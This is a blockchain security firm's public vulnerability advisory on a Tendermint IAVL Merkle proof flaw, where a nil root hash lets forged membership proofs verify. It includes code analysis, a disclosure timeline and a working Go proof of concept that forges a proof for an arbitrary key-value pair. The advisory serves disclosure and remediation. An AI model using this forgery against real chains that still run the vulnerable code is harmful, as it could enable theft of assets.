Verichains

Share this post

[VSA-2022-100] Tendermint: Forging Membership Proof of Empty Merkle Tree Vulnerability in IAVL Proof

blog.verichains.io

Discover more from Verichains

Leading web3 security firm in APAC. Trusted by top blockchain customers such as BNBChain (Binance), Klaytn (Kakao Talk), Wemix (Wemade), Solana, Axie Infinity/Ronin Network (Sky Mavis)
Continue reading
Sign in

[VSA-2022-100] Tendermint: Forging Membership Proof of Empty Merkle Tree Vulnerability in IAVL Proof

Verichains discovered critical vulnerabilities in Tendermint that could have resulted in a significant loss of funds from projects using IAVL proof validation.

Thanh Nguyen
Mar 1, 2023
1
Share this post

[VSA-2022-100] Tendermint: Forging Membership Proof of Empty Merkle Tree Vulnerability in IAVL Proof

blog.verichains.io
Share

This advisory highlights a critical vulnerability discovered by Verichains in Tendermint library that could have enabled an attacker to steal assets from projects using its IAVL proof verification, such as BNB Chain, potentially causing significant financial losses.

We privately disclosed this issue to Tendermint/Cosmos maintainer in early October 2022. Although the Tendermint/Cosmos maintainers acknowledged the vulnerabilities, they chose not to release a patch in the Tendermint library, as IBC and Cosmos-SDK implementation had already migrated to ICS-23 from IAVL merkle proof verification.

In our opinion, even though it does not affect the latest implementation of Cosmos/IBC chains, the bug should be fixed in the Tendermint library since it is being used by other projects, such as BNB Chain. In case the vulnerable code is obsolete, it should be removed from the Tendermint library.

To ensure Tendermint library users are aware of the issue and fix it, we decided to release this advisory to the public after waiting for 120 days following our vulnerability disclosure policy. We urge all projects still using Tendermint's IAVL proof verification to take necessary measures to secure their assets and mitigate the risk of exploitation.

Summary

The Tendermint's Core library (https://github.com/tendermint/tendermint/) contains a dedicated module named `merkle` for handling Merkle proofs. Its proof operator `ValueOp`, after verifying a key-value pair input, returns a nil root hash instead of raising an error in unexpected situations (e.g. a tree has a negative number of nodes).

As a result, an attacker can forge membership proofs for arbitrary key-value pairs if a root hash of an empty Merkle tree is declared as nil (very likely to happen since nil is the default value for an uninitialized byte slice in Golang).

Analysis

The proof operator `ValueOp` is implemented at (merkle/proof_value.go). When running, it first hashes the input key-value pair, then compares the hash result with the leaf hash in the proof it currently executes (merkle/proof_value.go, line 92-94):

------------------------------------------------------------------------
 77    func (op ValueOp) Run(args [][]byte) ([][]byte, error) {
...
 92        if !bytes.Equal(kvhash, op.Proof.LeafHash) {
 93            return nil, fmt.Errorf("leaf hash mismatch: want %X got
   %X", op.Proof.LeafHash, kvhash)
 94        }

If this check passes, it simply returns the root hash computed from the proof (line 96-98):

 96        return [][]byte{
 97            op.Proof.ComputeRootHash(),
 98        }, nil

The function `ComputeRootHash` is a wrapper for `computeHashFromAunts` (merkle/proof.go, line 71-78):

 71    func (sp *Proof) ComputeRootHash() []byte {
 72        return computeHashFromAunts(
 73            sp.Index,
 74            sp.Total,
 75            sp.LeafHash,
 76            sp.Aunts,
 77        )
 78    }

And this function returns a nil byte slice whenever it catches an error (merkle/proof.go, line 152-154, 159-161, 164-166, 170-172, 176-178):

151    func computeHashFromAunts(index, total int64, leafHash []byte,
   innerHashes [][]byte) []byte {
152        if index >= total || index < 0 || total <= 0 {
153            return nil
154        }
...
159            if len(innerHashes) != 0 {
160                return nil
161            }
...
164            if len(innerHashes) == 0 {
165                return nil
166            }
...
170                if leftHash == nil {
171                    return nil
172                }
...
176                if rightHash == nil {
177                    return nil
178                }
...
181    }

As a result, the error is ignored, and `ValueOp.Run` returns a nil root hash together with a nil error, indicating that the proof is valid.

Exploitation

The exploitation is straight-forward: simply set the leaf hash of a proof to be the hash value of our chosen key-value pair and leave other proof parameters as default to trigger the nil return of `computeHashFromAunts` at its first check (merkle/proof.go, line 152-154).

Here's a PoC demonstrating the attack:

  1    package main
  2    
  3    import (
  4        "bytes"
  5        goanimo "github.com/tendermint/go-amino"
  6        "github.com/tendermint/tendermint/crypto/merkle"
  7        "github.com/tendermint/tendermint/crypto/tmhash"
  8        "log"
  9    )
 10    
 11    func main() {
 12        // a fake key-value pair and its hash
 13        key := []byte{0x13}
 14        value := []byte{0x37}
 15        vhash := tmhash.Sum(value)
 16        bz := new(bytes.Buffer)
 17        _ = goanimo.EncodeByteSlice(bz, key)
 18        _ = goanimo.EncodeByteSlice(bz, vhash)
 19        kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...))
 20    
 21        // the malicious `op`
 22        op := merkle.NewValueOp(
 23            key,
 24            &merkle.Proof{LeafHash: kvhash},
 25        )
 26    
 27        // the nil root
 28        var root []byte
 29    
 30        // should return nil (successfully verified)
 31        log.Println(merkle.ProofOperators{op}.Verify(root,
   "/"+string(key), [][]byte{value}))
 32    }

Affected Products

  • Tendermint (All versions)

    • https://github.com/tendermint/tendermint

  • BNB Chain and any other projects using Tendermint’s IAVL merkle proof verification

Timeline

  • Oct 11, 2022: Report privately to the BNB Chain team

  • Oct 12, 2022: Report privately to Tendermint / Cosmos maintainers

  • Feb 28, 2023: Public release

Thanks for reading Verichains! Subscribe for free to receive new posts and support my work.

==============

About Verichains

Since 2017, Verichains has been a pioneer and leading blockchain security firm in APAC, with extensive expertise in security, cryptography and core blockchain technology. More than 200 clients trust us with $50 billion in assets under protection, including several high-profile clients such as BNB Chain, Klaytn, Wemix, Multichain, Line Corp, Axie Infinity, Ronin Network, and Kyber Network.

Our world-class security and cryptography research team have found several vulnerabilities in layer-1 protocol, crypto library, bridge, and smart contracts. We are also proud to be the firm that helped to investigate, root cause analysis, and fix security issues in the two largest global crypto hacks: BNB Chain Bridge and Ronin Bridge (Sky Mavis).

With the in-depth research and development of blockchain technology, Verichains provides blockchain security services such as blockchain protocol and smart contract security audit, mobile application protection, key management solution, on-chain risk monitoring, and red team/penetration testing services.

Homepage: https://www.verichains.io

Email: info@verichains.io

Twitter: https://twitter.com/Verichains

Linkedin: https://www.linkedin.com/company/verichains

Facebook: https://facebook.com/verichains

Telegram: https://t.me/+Y29xcaxJLJxjNDVl

1
Share this post

[VSA-2022-100] Tendermint: Forging Membership Proof of Empty Merkle Tree Vulnerability in IAVL Proof

blog.verichains.io
Share
Previous
Next
Comments
Top
New
Community

No posts

Ready for more?

© 2023 Verichains
Privacy ∙ Terms ∙ Collection notice
Start WritingGet the app
Substack is the home for great writing